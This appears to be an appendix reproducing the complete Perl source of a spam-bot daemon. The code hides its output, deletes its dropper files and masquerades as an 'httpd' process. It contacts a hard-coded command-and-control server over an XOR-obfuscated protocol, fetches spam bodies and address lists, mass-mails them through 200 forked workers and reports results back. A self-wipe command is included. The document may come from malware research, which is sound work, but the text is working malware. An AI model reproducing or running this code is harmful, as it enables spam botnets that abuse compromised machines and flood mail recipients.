A. Appendix

#!/usr/bin/perl -w

$|=1;

use lib './lib';
use lib '/tmp/af56j/lib';
use Net::SMTP;
use Socket;
use ForkManager;

my $debug=0;

open(STDERR,"/dev/null") unless $debug==1;
open(STDOUT,"/dev/null") unless $debug==1;

my $childs = 200;
#   $childs = 1 if $debug==1;
my $smtpTimeout=20;
#  $smtpTimeout=15 if $debug==1;
my $managerHost="24.61.3.38";
   $managerHost="127.0.0.1" if $debug==1;
my $managerPort="443";

my $report;

my $body;
my @maillist;

my $startmask="suxest";

sub codestr
{
 my $str=shift;
 my $last='';
 $last="\n" if chomp($str);
 return codestr_($str).$last;
}

sub codestr_
{
 my $str=shift;
 my @hhh=(0..9,'a'..'f');
 my $mask=$startmask x (length($str)/length($startmask)+1);
 my $rez='';
 $str^=substr($mask,0,length($str));
 while($str ne '')
 {
  my $tmp=ord($str);
  $rez.=$hhh[int($tmp/16)].$hhh[$tmp%16];
  substr($str,0,1,"");
 }
 return $rez;
}

sub unhex
{
 my $str=shift;
 my $rez='';
 while($str ne '')
 {
  $rez.=chr(hex(substr($str,0,2)));
  substr($str,0,2,"");
 }
 return $rez;
}

sub decodestr
{
 my $str=shift;
 my $last='';
 $last="\n" if chomp($str);
 return unhex(codestr(unhex($str),$startmask)).$last;
}

sub sendEmail
{
 my (@mxs,@cmx);
 my $email=shift;
  
 $body=~/\s+by\s+(\S+)\s+/;
 my $daemonHelloField = $1;
 $body=~s/_ID_/PgcHp79o76239Y/;
 $body=~s/_ID2_/367535629127\.PgcHp79o76239Y/; 
 $body=~s/_TO_/$email/g;
 my $date=`date`;
 $date=~s/\n//;
 $body=~s/_DATE_/$date/g;
 $body=~/^From:\s(.*)/m;
 my $from=$1;
 $from=~s/<//;
 $from=~s/>//;
 $from=~/\s(.*)/;
 $from=$1;
 ($name,$domain)=split("\@",$email);

  my $sent=1;
  @mxs = `dig mx $domain`;
  foreach $pmx (@mxs)
  {
    if($pmx =~ /MX[\t|\s]*\d*[\t|\s]*(.*)\.$/)
    {
      push(@cmx,$1);
    }
  }
  if ($#cmx<=0)
  {
    @mxs = `dig a $domain`;
    foreach $pmx (@mxs)
    {
      if ($pmx =~ /^$domain\.[\t|\s]*\w*[\t|\s]*IN[\t|\s]*A[\t|\s]*(.*)$/)  
      {
        push(@cmx,$1);
      }
    }
  }
  
  foreach $mx (@cmx)
  {
    print "mx=$mx\n";
    $sent=2;
    my $smtp=Net::SMTP->new("$mx",Timeout=>$smtpTimeout,Hello=>$daemonHelloField,Debug=>$debug);
    if($smtp)
    {
      $sent=3;
      $smtp->mail($from);
      $smtp->to($email);
      $res=$smtp->code;
      $sent=0 if $res==250;
      print $body if $debug==1;
      if($res==250)
      {
        $smtp->data() 	       unless $debug==1;
        $smtp->datasend($body) unless $debug==1;
        $smtp->dataend()       unless $debug==1;
      }
      $smtp->quit();
      return $sent;
    }	
  }   
  return $sent;
}

sub getInfo
{
 return 0 unless socket(telnet, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
 return 0 unless connect(telnet, sockaddr_in($managerPort,inet_aton($managerHost)));
 my $res;
 if(telnet)
 {
  telnet->autoflush();
  $res=<telnet>;
  $res=decodestr($res);
  if(defined $res and $res=~/^220/)
  {
   print telnet codestr("iam daemon\n");
   $res=<telnet>;
   $res=decodestr($res);
   if($res!~/^250/)
   {
    close telnet;
    return 0;
   }
   if(defined $report)
   {
    print telnet codestr("report\n");
    $res=<telnet>;
    $res=decodestr($res);
    if($res!~/^354/)
    {
     close telnet;
     return 0;
    }
    print telnet codestr($report);
    $res=<telnet>;
    $res=decodestr($res);
   }
   print telnet codestr("body\n");
   $body="";
   $res="";
   while($res!~/^250/)
   {
    $res=<telnet>;
    return 0 if ($res=~/^550/);
    $res=decodestr($res);
    $body.=$res unless $res=~/^250/;
   }	
   if ($body=~/^DIE/)
   {
     `rm -rf /tmp/af56j`;
      die;
   }
   print telnet codestr("maillist\n");
   @maillist=();
   $res="";
   while($res!~/^250/)
   {
    chomp($res=<telnet>);
    return 0 if ($res=~/^550/);
    $res=decodestr($res);
    return 1 if $res=~/^350/;
    push(@maillist,$res) unless $res=~/^250/;
   }
   if (telnet)
   { 
     print telnet codestr("quit\n");
     close(telnet);
     return 1;
   }
   else
   {
     return 0;
   }     
  }
  print telnet codestr("quit\n");
  close telnet;
 }
 return 0;
}

if ($debug==0) { fork && exit; }
`rm -f /tmp/formail.pl`;
`rm -f /tmp/af56j/formail.pl`;
$res=`which dig`;
exit(0) unless $res=~/dig/;

while(1)
{
  $0="httpd";
  open(Q,">/tmp/sess_9e4d0713ad1a561e77c93643bafef7a8");
  print Q "$$\n";
  close(Q);
  my $gi=getInfo();
  if ($gi==1)
  {
    undef $report;
    my $pm=new Parallel::ForkManager($childs);

    $pm->run_on_finish(
      sub { my ($pid, $exit_code, $ident) = @_;
      chomp($exit_code);
      print "$ident = $exit_code\n" if $debug==1;
      $report.="$ident $exit_code\n";
    }
   );
   $pm->run_on_start(
     sub { my ($pid,$ident)=@_;
#     print "** $ident started, pid: $pid\n" if $debug==1;
    }
   );
    foreach $email (@maillist)
    {
      my ($a,$b) = split(" ", $email);
      $pm->start($a) and next;
      $0="httpd";
      $ok=sendEmail("$b")."\n";
      $pm->finish($ok);
    }
    print "Waiting for children\n" if $debug==1;
    $pm->wait_all_children;
    print "Children ok\n" if $debug==1;
    print "Next loop\n" if $debug==1;
  }
  if ($gi==2)
  {
    exit 0;
  }
  sleep(30) if $debug==0;
}